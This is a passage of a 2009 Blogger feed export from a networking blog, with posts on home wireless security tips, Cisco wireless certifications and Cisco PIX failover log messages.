style="mso-yfti-irow:0;mso-yfti-firstrow:yes;mso-yfti-lastrow:yes"&gt;   &lt;td width="21%" style="width:21.0%;padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal" align="right" style="margin-top:0cm;text-align:right"&gt;&lt;span style="mso-font-kerning:0pt;font-size:12.0pt;"&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;    &lt;/span&gt;&lt;v:stroke joinstyle="miter"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;    &lt;/span&gt;&lt;v:formulas&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="sum @0 1 0"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="sum 0 0 @1"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="prod @2 1 2"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="prod @3 21600 pixelWidth"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="prod @3 21600 pixelHeight"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="sum @0 0 1"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="prod @6 1 2"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="prod @7 21600 pixelWidth"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="sum @8 21600 0"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="prod @7 21600 pixelHeight"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;     &lt;/span&gt;&lt;v:f eqn="sum @10 21600 0"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;    &lt;/span&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:f&gt;&lt;/v:formulas&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;    &lt;/span&gt;&lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;    &lt;/span&gt;&lt;o:lock ext="edit" aspectratio="t"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;   &lt;/span&gt;&lt;/o:lock&gt;&lt;/v:path&gt;&lt;/v:stroke&gt;&lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" type="#_x0000_t75" alt="" style="width:24pt;    height:24pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal" align="center" style="margin-top:0cm;text-align:center"&gt;&lt;b&gt;&lt;span style="mso-font-kerning:0pt;font-size:12.0pt;"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;Tips for Wireless   Home Network &lt;/span&gt;&lt;a href="file:///D:/Documents%20and%20Settings/qz0rpn/My%20Documents/Wireless%20Hacking.html#%23" target="undefined"&gt;&lt;span style="font-size:11.0pt;"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;Security&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="mso-font-kerning:0pt;font-size:12.0pt;"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td width="22%" style="width:22.0%;padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal" style="margin-top:0cm"&gt;&lt;span style="   mso-font-kerning:0pt;font-size:12.0pt;"&gt;&lt;v:shape id="_x0000_i1026" type="#_x0000_t75" alt="" style="width:24pt;height:24pt"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/v:shape&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="mso-font-kerning:0pt"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;1)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Change Default Administrator Passwords (and Usernames)&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;2)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Turn on (Compatible) WPA / WEP Encryption&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;3)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Change the Default SSID&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;4)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Disable SSID Broadcast &lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;5)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Assign Static IP Addresses to Devices&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;6)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Enable MAC Address Filtering &lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;7)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Turn Off the Network During Extended Periods of Non-Use&lt;br /&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;8)&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt; Position the Router or Access Point Safely &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"   style="  white-space: pre; font-family:'Lucida Grande';font-size:10px;"&gt;&lt;a href="http://www.insecure.in/wireless_hacking.asp"&gt;&lt;span class="Apple-style-span" style="color: rgb(102, 102, 102);"&gt;http://www.insecure.in/wireless_hacking.asp&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-917099923882505768?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/917099923882505768/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=917099923882505768' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/917099923882505768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/917099923882505768'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/wireless-threats-vulnerabilities-and.html' title='Wireless threats, vulnerabilities and solution'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8788479717885358246</id><published>2009-02-08T18:52:00.000-08:00</published><updated>2009-02-08T19:21:25.838-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><title type='text'>List of Wireless Certification</title><content type='html'>&lt;span class="Apple-style-span"   style="border-collapse: collapse;   font-family:Arial;font-size:15px;"&gt;&lt;h1  style="text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 6px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: bold; display: block; font-size:112%;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;CISCO&lt;/span&gt;&lt;/h1&gt;&lt;h1 size="112%" style="text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 6px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: bold; display: block; "&gt;&lt;span class="Apple-style-span"   style="border-collapse: separate;   font-weight: normal; white-space: pre; font-family:'Lucida Grande';font-size:12px;"&gt;&lt;a href="http://www.cisco.com/web/learning/le3/learning_career_certifications_and_learning_paths_home.html"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;http://www.cisco.com/web/learning/le3/learning_career_certifications_and_learning_paths_home.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 style="text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 6px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: bold; display: block; font-size: 112%; "&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;1. CCNA Wireless Certification&lt;/span&gt;&lt;/h1&gt;&lt;div style="text-align: -webkit-center;"&gt;&lt;span class="Apple-style-span" style="border-collapse: separate;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;p class="expanded-spacing"  style="display: block; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; font-size:88%;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;Cisco Certified Network Associate Wireless (CCNA® Wireless) validates associate-level knowledge and skills to configure, implement and support of wireless LANs, specifically those networks using Cisco equipment. With a CCNA Wireless certification, network professionals can support a basic wireless network on a Cisco WLAN in a SMB to enterprise network. The CCNA Wireless curriculum includes information and practice activities to prepare them for configuring, monitoring and troubleshooting basic tasks of a Cisco WLAN in SMB and Enterprise networks.&lt;/span&gt;&lt;/p&gt;&lt;p class="expanded-spacing" style="display: block; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; font-size: 88%; "&gt;&lt;span class="Apple-style-span"  style="border-collapse: separate;  font-size:15px;"&gt;&lt;h1  style="text-decoration: none; font-weight: bold; font-size:105%;"&gt;&lt;span class="Apple-style-span"   style="  font-weight: normal; white-space: pre; font-family:'Lucida Grande';font-size:12px;"&gt;&lt;a href="http://www.cisco.com/web/learning/le3/le2/le0/le2/learning_certification_type_home.html"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;http://www.cisco.com/web/learning/le3/le2/le0/le2/learning_certification_type_home.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 style="font-size: 105%; text-decoration: none; font-weight: bold; "&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;2. CCIE Wireless Certification&lt;/span&gt;&lt;/h1&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;The Cisco CCIE Wireless certification assesses and validates wireless expertise. Candidates who pass the CCIE Wireless certification exams demonstrate broad theoretical knowledge of wireless networking and a solid understanding of wireless local area networking (WLAN) technologies from Cisco, the market leader in WLAN technology.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span"   style="  white-space: pre; font-family:'Lucida Grande';font-size:12px;"&gt;&lt;a href="http://www.cisco.com/web/learning/le3/ccie/wireless/index.html"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;http://www.cisco.com/web/learning/le3/ccie/wireless/index.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse; "&gt;&lt;h1 style="text-decoration: none; margin-top: 0px; margin-right: 0px; margin-bottom: 6px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-weight: bold; display: block; font-size: 112%; "&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;Cisco Advanced Wireless LAN Design Specialist&lt;/span&gt;&lt;/h1&gt;&lt;table border="0" cellspacing="0" cellpadding="0" style="float: right; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "&gt;&lt;tbody&gt;&lt;tr valign="top" style="vertical-align: top; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 1px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;td align="center" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 1px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="text-decoration: underline; font-size:13px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="expanded-spacing"  style="display: block; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; font-size:88%;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;The Cisco Advanced Wireless LAN Design Specialist will demonstrate the ability to successfully design solutions using the advanced feature set of Cisco wireless products and based on a validated understanding of radio frequency and antenna theory, 802.11a/b/g standards, site survey and configuration of controllers and APs. Solutions include voice over WLAN, outdoor mesh and secure wireless.&lt;/span&gt;&lt;/p&gt;&lt;p class="expanded-spacing" size="88%" style="display: block; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"   style="border-collapse: separate;   white-space: pre; font-family:'Lucida Grande';font-size:12px;"&gt;&lt;a href="http://www.cisco.com/web/learning/le3/le2/le41/le86/le95/learning_certification_type_home_extra_level.html"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;http://www.cisco.com/web/learning/le3/le2/le41/le86/le95/learning_certification_type_home_extra_level.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p class="expanded-spacing" size="88%" style="display: block; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; "&gt;&lt;span class="Apple-style-span"   style="border-collapse: separate;   line-height: 15px; font-family:arial;font-size:12px;"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;CWNA® (Certified Wireless Network Administrator) &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="expanded-spacing"  style="display: block; color: rgb(0, 0, 0); margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px;  font-size:88%;"&gt;&lt;span class="Apple-style-span"  style="border-collapse: separate;  line-height: 15px;font-size:12px;"&gt;&lt;span class="Apple-style-span"  style=" line-height: normal; white-space: pre; font-family:'Lucida Grande';"&gt;&lt;a href="http://www.cwnp.com/cwna/"&gt;&lt;span class="Apple-style-span" style="color: rgb(192, 192, 192);"&gt;http://www.cwnp.com/cwna/&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8788479717885358246?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8788479717885358246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8788479717885358246' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8788479717885358246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8788479717885358246'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/list-of-wireless-certification.html' title='List of Wireless Certification'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-2773694754171717570</id><published>2009-02-03T18:47:00.000-08:00</published><updated>2009-02-03T18:51:23.993-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='pix'/><title type='text'>Cisco PIX Firewall System Log Messages - End Configuration Replication</title><content type='html'>Log Message    %PIX-1-709004: (Primary) End Configuration Replication (ACT)&lt;br /&gt;Explanation    This is a failover message. This message is logged when the Active unit completes replicating its configuration on the Standby unit. "(Primary)" can be either Primary or Secondary.&lt;br /&gt;Recommended Action    None required.&lt;br /&gt;&lt;br /&gt;Log Message    %PIX-1-709006: (Primary) End Configuration Replication (STB)&lt;br /&gt;Explanation    This is a failover message. This message is logged when the Standby unit completes replicating a configuration sent by the Active unit. "(Primary)" can be either Primary or Secondary.&lt;br /&gt;Recommended Action    None required.&lt;br /&gt;&lt;br /&gt;http://www.cisco.com/en/US/docs/security/pix/pix44/system/message/pixemsgs.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-2773694754171717570?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/2773694754171717570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=2773694754171717570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2773694754171717570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/2773694754171717570'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/cisco-pix-firewall-system-log-messages.html' title='Cisco PIX Firewall System Log Messages - End Configuration Replication'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-704589955949290403</id><published>2009-02-02T19:45:00.000-08:00</published><updated>2009-02-02T19:47:07.189-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless security'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>10 Tips for Wireless Home Network Security / 10 Tips Keselamatan Tanpa Wayar</title><content type='html'>Many folks setting up wireless home networks rush through the job to&lt;br /&gt;get their Internet connectivity working as quickly as possible. That's&lt;br /&gt;totally understandable. It's also quite risky as numerous security&lt;br /&gt;problems can result. Today's Wi-Fi networking products don't always&lt;br /&gt;help the situation as configuring their security features can be time-&lt;br /&gt;consuming and non-intuitive. The recommendations below summarize the&lt;br /&gt;steps you should take to improve the security of your home wireless&lt;br /&gt;network.&lt;br /&gt;&lt;p&gt;1. Change Default Administrator Passwords (and Usernames)&lt;br /&gt;At the core of most Wi-Fi home networks is an access point or router.&lt;br /&gt;To set up these pieces of equipment, manufacturers provide Web pages&lt;br /&gt;that allow owners to enter their network address and account&lt;br /&gt;information. These Web tools are protected with a login screen&lt;br /&gt;(username and password) so that only the rightful owner can do this.&lt;br /&gt;However, for any given piece of equipment, the logins provided are&lt;br /&gt;simple and very well-known to hackers on the Internet. Change these&lt;br /&gt;settings immediately.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2. Turn on (Compatible) WPA / WEP Encryption&lt;br /&gt;All Wi-Fi equipment supports some form of encryption. Encryption&lt;br /&gt;technology scrambles messages sent over wireless networks so that they&lt;br /&gt;cannot be easily read by humans. Several encryption technologies exist&lt;br /&gt;for Wi-Fi today. Naturally you will want to pick the strongest form of&lt;br /&gt;encryption that works with your wireless network. However, the way&lt;br /&gt;these technologies work, all Wi-Fi devices on your network must share&lt;br /&gt;the identical encryption settings. Therefore you may need to find a&lt;br /&gt;"lowest common demoninator" setting.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;3. Change the Default SSID&lt;br /&gt;Access points and routers all use a network name called the SSID.&lt;br /&gt;Manufacturers normally ship their products with the same SSID set. For&lt;br /&gt;example, the SSID for Linksys devices is normally "linksys." True,&lt;br /&gt;knowing the SSID does not by itself allow your neighbors to break into&lt;br /&gt;your network, but it is a start. More importantly, when someone finds&lt;br /&gt;a default SSID, they see it is a poorly configured network and are&lt;br /&gt;much more likely to attack it. Change the default SSID immediately&lt;br /&gt;when configuring wireless security on your network.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;4. Enable MAC Address Filtering&lt;br /&gt;Each piece of Wi-Fi gear possesses a unique identifier called the&lt;br /&gt;physical address or MAC address. Access points and routers keep track&lt;br /&gt;of the MAC addresses of all devices that connect to them. Many such&lt;br /&gt;products offer the owner an option to key in the MAC addresses of&lt;br /&gt;their home equipment, that restricts the network to only allow&lt;br /&gt;connections from those devices. Do this, but also know that the&lt;br /&gt;feature is not so powerful as it may seem. Hackers and their software&lt;br /&gt;programs can fake MAC addresses easily.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;5. Disable SSID Broadcast&lt;br /&gt;In Wi-Fi networking, the wireless access point or router typically&lt;br /&gt;broadcasts the network name (SSID) over the air at regular intervals.&lt;br /&gt;This feature was designed for businesses and mobile hotspots where Wi-&lt;br /&gt;Fi clients may roam in and out of range. In the home, this roaming&lt;br /&gt;feature is unnecessary, and it increases the likelihood someone will&lt;br /&gt;try to log in to your home network. Fortunately, most Wi-Fi access&lt;br /&gt;points allow the SSID broadcast feature to be disabled by the network&lt;br /&gt;administrator.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;6. Do Not Auto-Connect to Open Wi-Fi Networks&lt;br /&gt;Connecting to an open Wi-Fi network such as a free wireless hotspot or&lt;br /&gt;your neighbor's router exposes your computer to security risks.&lt;br /&gt;Although not normally enabled, most computers have a setting available&lt;br /&gt;allowing these connections to happen automatically without notifying&lt;br /&gt;you (the user). This setting should not be enabled except in temporary&lt;br /&gt;situations.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;7. Assign Static IP Addresses to Devices&lt;br /&gt;Most home networkers gravitate toward using dynamic IP addresses. DHCP&lt;br /&gt;technology is indeed easy to set up. Unfortunately, this convenience&lt;br /&gt;also works to the advantage of network attackers, who can easily&lt;br /&gt;obtain valid IP addresses from your network's DHCP pool. Turn off DHCP&lt;br /&gt;on the router or access point, set a fixed IP address range instead,&lt;br /&gt;then configure each connected device to match. Use a private IP&lt;br /&gt;address range (like 10.0.0.x) to prevent computers from being directly&lt;br /&gt;reached from the Internet.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;8. Enable Firewalls On Each Computer and the Router&lt;br /&gt;Modern network routers contain built-in firewall capability, but the&lt;br /&gt;option also exists to disable them. Ensure that your router's firewall&lt;br /&gt;is turned on. For extra protection, consider installing and running&lt;br /&gt;personal firewall software on each computer connected to the router.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;9. Position the Router or Access Point Safely&lt;br /&gt;Wi-Fi signals normally reach to the exterior of a home. A small amount&lt;br /&gt;of signal leakage outdoors is not a problem, but the further this&lt;br /&gt;signal reaches, the easier it is for others to detect and exploit. Wi-&lt;br /&gt;Fi signals often reach through neighboring homes and into streets, for&lt;br /&gt;example. When installing a wireless home network, the position of the&lt;br /&gt;access point or router determines its reach. Try to position these&lt;br /&gt;devices near the center of the home rather than near windows to&lt;br /&gt;minimize leakage.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;10. Turn Off the Network During Extended Periods of Non-Use&lt;br /&gt;The ultimate in wireless security measures, shutting down your network&lt;br /&gt;will most certainly prevent outside hackers from breaking in! While&lt;br /&gt;impractical to turn off and on the devices frequently, at least&lt;br /&gt;consider doing so during travel or extended periods offline. Computer&lt;br /&gt;disk drives have been known to suffer from power cycle wear-and-tear,&lt;br /&gt;but this is a secondary concern for broadband modems and routers.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;If you own a wireless router but are only using it wired (Ethernet)&lt;br /&gt;connections, you can also sometimes turn off Wi-Fi on a broadband&lt;br /&gt;router without powering down the entire network.&lt;br /&gt;More Info&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" rel="nofollow" href="http://compnetworking.about.com/od/wirelesssecurity/tp/wifisecurity.htm"&gt;http://compnetworking.about.com/od/wirelesssecurity/tp/wifisecurity.htm&lt;/a&gt;   &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-704589955949290403?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/704589955949290403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=704589955949290403' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/704589955949290403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/704589955949290403'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/02/10-tips-for-wireless-home-network.html' title='10 Tips for Wireless Home Network Security / 10 Tips Keselamatan Tanpa Wayar'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-4667876299681264384</id><published>2009-02-02T19:43:00.000-08:00</published><updated>2009-02-02T19:45:36.178-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>Introduction to Wireless Networking / Pengenalan kepada Rangkaian Tanpa Wayar</title><content type='html'>Part 1&lt;br /&gt;&lt;a target="_blank" rel="nofollow" href="http://www.windowsnetworking.com/articles_tutorials/Introduction-Wireless-Networking-Part1.html"&gt;http://www.windowsnetworking.com/articles_tutorials/Introduction-Wire...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Part 2&lt;br /&gt;&lt;a target="_blank" rel="nofollow" 